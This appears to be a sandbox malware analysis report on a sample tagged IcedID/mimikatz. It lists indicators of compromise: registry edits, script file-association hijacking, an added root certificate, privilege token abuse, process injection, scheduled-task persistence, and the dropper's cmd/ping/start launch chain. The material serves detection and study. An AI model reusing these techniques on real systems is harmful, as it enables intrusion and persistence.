\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language eejijdjqa.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language PING.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language lbtjpqfsw.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe -
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 2044 cmd.exe 320 PING.EXE -
NSIS installer 3 IoCs
resource yara_rule behavioral1/files/0x00070000000186f1-5.dat nsis_installer_2 behavioral1/files/0x0006000000018744-16.dat nsis_installer_1 behavioral1/files/0x0006000000018744-16.dat nsis_installer_2 -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:" huitpgn.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed huitpgn.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs huitpgn.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust huitpgn.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-4 = "1.0" netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates huitpgn.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-100 = "EAP Quarantine Enforcement Client" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-103 = "Microsoft Corporation" netsh.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1" quqjwwsff.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump quqjwwsff.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{BE12AF13-9EA2-4977-9DC1-B690B5B5D382}\WpadNetworkName = "Network 3" huitpgn.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs huitpgn.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs huitpgn.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0" huitpgn.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" huitpgn.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-1 = "IPsec Relying Party" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-3 = "Microsoft Corporation" netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1" quqjwwsff.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 huitpgn.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0" huitpgn.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates huitpgn.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates huitpgn.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople huitpgn.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{BE12AF13-9EA2-4977-9DC1-B690B5B5D382} huitpgn.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000004000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f0114000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 huitpgn.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-100 = "RD Gateway Quarantine Enforcement Client" netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump quqjwwsff.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs huitpgn.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs huitpgn.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs huitpgn.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings huitpgn.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-101 = "Provides RD Gateway enforcement for NAP" netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1" quqjwwsff.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA huitpgn.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\3a-b6-61-88-9b-7c\WpadDecisionReason = "1" huitpgn.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates huitpgn.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs huitpgn.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs huitpgn.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates huitpgn.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs huitpgn.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1" quqjwwsff.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs huitpgn.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA huitpgn.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs huitpgn.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates huitpgn.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates huitpgn.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates huitpgn.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates huitpgn.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\3a-b6-61-88-9b-7c huitpgn.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-101 = "Provides DHCP based enforcement for NAP" netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump quqjwwsff.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\3a-b6-61-88-9b-7c\WpadDetectedUrl huitpgn.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs huitpgn.exe -
Modifies registry class 14 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile" huitpgn.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile" huitpgn.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ huitpgn.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile" huitpgn.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ huitpgn.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ huitpgn.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ huitpgn.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile" huitpgn.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ huitpgn.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\ huitpgn.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile" huitpgn.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ huitpgn.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile" huitpgn.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile" huitpgn.exe -
Modifies system certificate store 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 huitpgn.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 huitpgn.exe -
Runs net.exe
-
Runs ping.exe 1 TTPs 1 IoCs
pid Process 320 PING.EXE -
Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1484 schtasks.exe 1512 schtasks.exe 580 schtasks.exe -
Suspicious behavior: CmdExeWriteProcessMemorySpam 2 IoCs
pid Process 2288 huitpgn.exe 2928 huitpgn.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe -
Suspicious behavior: LoadsDriver 31 IoCs
pid Process 476 Process not Found 476 Process not Found 476 Process not Found 476 Process not Found 476 Process not Found 476 Process not Found 476 Process not Found 476 Process not Found 476 Process not Found 476 Process not Found 476 Process not Found 476 Process not Found 476 Process not Found 476 Process not Found 476 Process not Found 476 Process not Found 476 Process not Found 476 Process not Found 476 Process not Found 476 Process not Found 476 Process not Found 476 Process not Found 476 Process not Found 476 Process not Found 476 Process not Found 476 Process not Found 476 Process not Found 476 Process not Found 476 Process not Found 476 Process not Found 476 Process not Found -
Suspicious behavior: RenamesItself 1 IoCs
pid Process 1484 2025-02-03_951c59c847da0348b8abac8d459629e3_hacktools_icedid_mimikatz.exe -
Suspicious use of AdjustPrivilegeToken 23 IoCs
description pid Process Token: SeDebugPrivilege 1484 2025-02-03_951c59c847da0348b8abac8d459629e3_hacktools_icedid_mimikatz.exe Token: SeDebugPrivilege 2664 huitpgn.exe Token: SeDebugPrivilege 2788 huitpgn.exe Token: SeDebugPrivilege 2356 vfshost.exe Token: SeAuditPrivilege 2524 svchost.exe Token: SeDebugPrivilege 1296 quqjwwsff.exe Token: SeShutdownPrivilege 1296 quqjwwsff.exe Token: SeLockMemoryPrivilege 2576 sgicvp.exe Token: SeLockMemoryPrivilege 2576 sgicvp.exe Token: SeDebugPrivilege 2304 quqjwwsff.exe Token: SeShutdownPrivilege 2304 quqjwwsff.exe Token: SeDebugPrivilege 1956 quqjwwsff.exe Token: SeShutdownPrivilege 1956 quqjwwsff.exe Token: SeDebugPrivilege 2856 quqjwwsff.exe Token: SeShutdownPrivilege 2856 quqjwwsff.exe Token: SeDebugPrivilege 2324 quqjwwsff.exe Token: SeShutdownPrivilege 2324 quqjwwsff.exe Token: SeDebugPrivilege 1392 quqjwwsff.exe Token: SeShutdownPrivilege 1392 quqjwwsff.exe Token: SeDebugPrivilege 2908 quqjwwsff.exe Token: SeShutdownPrivilege 2908 quqjwwsff.exe Token: SeDebugPrivilege 2764 quqjwwsff.exe Token: SeShutdownPrivilege 2764 quqjwwsff.exe -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 1484 2025-02-03_951c59c847da0348b8abac8d459629e3_hacktools_icedid_mimikatz.exe 1484 2025-02-03_951c59c847da0348b8abac8d459629e3_hacktools_icedid_mimikatz.exe 2664 huitpgn.exe 2664 huitpgn.exe 2788 huitpgn.exe 2788 huitpgn.exe 1924 xohudmc.exe 2620 huzbeq.exe 2288 huitpgn.exe 2288 huitpgn.exe 2928 huitpgn.exe 2928 huitpgn.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1484 wrote to memory of 2044 1484 2025-02-03_951c59c847da0348b8abac8d459629e3_hacktools_icedid_mimikatz.exe 31 PID 1484 wrote to memory of 2044 1484 2025-02-03_951c59c847da0348b8abac8d459629e3_hacktools_icedid_mimikatz.exe 31 PID 1484 wrote to memory of 2044 1484 2025-02-03_951c59c847da0348b8abac8d459629e3_hacktools_icedid_mimikatz.exe 31 PID 1484 wrote to memory of 2044 1484 2025-02-03_951c59c847da0348b8abac8d459629e3_hacktools_icedid_mimikatz.exe 31 PID 2044 wrote to memory of 320 2044 cmd.exe 33 PID 2044 wrote to memory of 320 2044 cmd.exe 33 PID 2044 wrote to memory of 320 2044 cmd.exe 33 PID 2044 wrote to memory of 320 2044 cmd.exe 33 PID 2044 wrote to memory of 2664 2044 cmd.exe 34 PID 2044 wrote to memory of 2664 2044 cmd.exe 34 PID 2044 wrote to memory of 2664 2044 cmd.exe 34 PID 2044 wrote to memory of 2664 2044 cmd.exe 34 PID 2788 wrote to memory of 2824 2788 huitpgn.exe 36 PID 2788 wrote to memory of 2824 2788 huitpgn.exe 36 PID 2788 wrote to memory of 2824 2788 huitpgn.exe 36 PID 2788 wrote to memory of 2824 2788 huitpgn.exe 36 PID 2824 wrote to memory of 2916 2824 cmd.exe 38 PID 2824 wrote to memory of 2916 2824 cmd.exe 38 PID 2824 wrote to memory of 2916 2824 cmd.exe 38 PID 2824 wrote to memory of 2916 2824 cmd.exe 38 PID 2824 wrote to memory of 780 2824 cmd.exe 39 PID 2824 wrote to memory of 780 2824 cmd.exe 39 PID 2824 wrote to memory of 780 2824 cmd.exe 39 PID 2824 wrote to memory of 780 2824 cmd.exe 39 PID 2824 wrote to memory of 2820 2824 cmd.exe 40 PID 2824 wrote to memory of 2820 2824 cmd.exe 40 PID 2824 wrote to memory of 2820 2824 cmd.exe 40 PID 2824 wrote to memory of 2820 2824 cmd.exe 40 PID 2824 wrote to memory of 2700 2824 cmd.exe 41 PID 2824 wrote to memory of 2700 2824 cmd.exe 41 PID 2824 wrote to memory of 2700 2824 cmd.exe 41 PID 2824 wrote to memory of 2700 2824 cmd.exe 41 PID 2824 wrote to memory of 332 2824 cmd.exe 42 PID 2824 wrote to memory of 332 2824 cmd.exe 42 PID 2824 wrote to memory of 332 2824 cmd.exe 42 PID 2824 wrote to memory of 332 2824 cmd.exe 42 PID 2824 wrote to memory of 2812 2824 cmd.exe 43 PID 2824 wrote to memory of 2812 2824 cmd.exe 43 PID 2824 wrote to memory of 2812 2824 cmd.exe 43 PID 2824 wrote to memory of 2812 2824 cmd.exe 43 PID 2788 wrote to memory of 2988 2788 huitpgn.exe 44 PID 2788 wrote to memory of 2988 2788 huitpgn.exe 44 PID 2788 wrote to memory of 2988 2788 huitpgn.exe 44 PID 2788 wrote to memory of 2988 2788 huitpgn.exe 44 PID 2788 wrote to memory of 2924 2788 huitpgn.exe 46 PID 2788 wrote to memory of 2924 2788 huitpgn.exe 46 PID 2788 wrote to memory of 2924 2788 huitpgn.exe 46 PID 2788 wrote to memory of 2924 2788 huitpgn.exe 46 PID 2788 wrote to memory of 2736 2788 huitpgn.exe 48 PID 2788 wrote to memory of 2736 2788 huitpgn.exe 48 PID 2788 wrote to memory of 2736 2788 huitpgn.exe 48 PID 2788 wrote to memory of 2736 2788 huitpgn.exe 48 PID 2788 wrote to memory of 1948 2788 huitpgn.exe 50 PID 2788 wrote to memory of 1948 2788 huitpgn.exe 50 PID 2788 wrote to memory of 1948 2788 huitpgn.exe 50 PID 2788 wrote to memory of 1948 2788 huitpgn.exe 50 PID 1948 wrote to memory of 3032 1948 cmd.exe 52 PID 1948 wrote to memory of 3032 1948 cmd.exe 52 PID 1948 wrote to memory of 3032 1948 cmd.exe 52 PID 1948 wrote to memory of 3032 1948 cmd.exe 52 PID 1948 wrote to memory of 3032 1948 cmd.exe 52 PID 1948 wrote to memory of 3032 1948 cmd.exe 52 PID 1948 wrote to memory of 3032 1948 cmd.exe 52 PID 3032 wrote to memory of 1740 3032 wpcap.exe 53
Processes
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:300
-
C:\Windows\TEMP\gzkauijfb\sgicvp.exe"C:\Windows\TEMP\gzkauijfb\sgicvp.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2576
-
-
C:\Users\Admin\AppData\Local\Temp\2025-02-03_951c59c847da0348b8abac8d459629e3_hacktools_icedid_mimikatz.exe"C:\Users\Admin\AppData\Local\Temp\2025-02-03_951c59c847da0348b8abac8d459629e3_hacktools_icedid_mimikatz.exe"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1484 -
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\tusfgtaa\huitpgn.exe2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:2044 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:320
-
-
C:\Windows\tusfgtaa\huitpgn.exeC:\Windows\tusfgtaa\huitpgn.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2664
-
-
-
C:\Windows\tusfgtaa\huitpgn.exeC:\Windows\tusfgtaa\huitpgn.exe1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
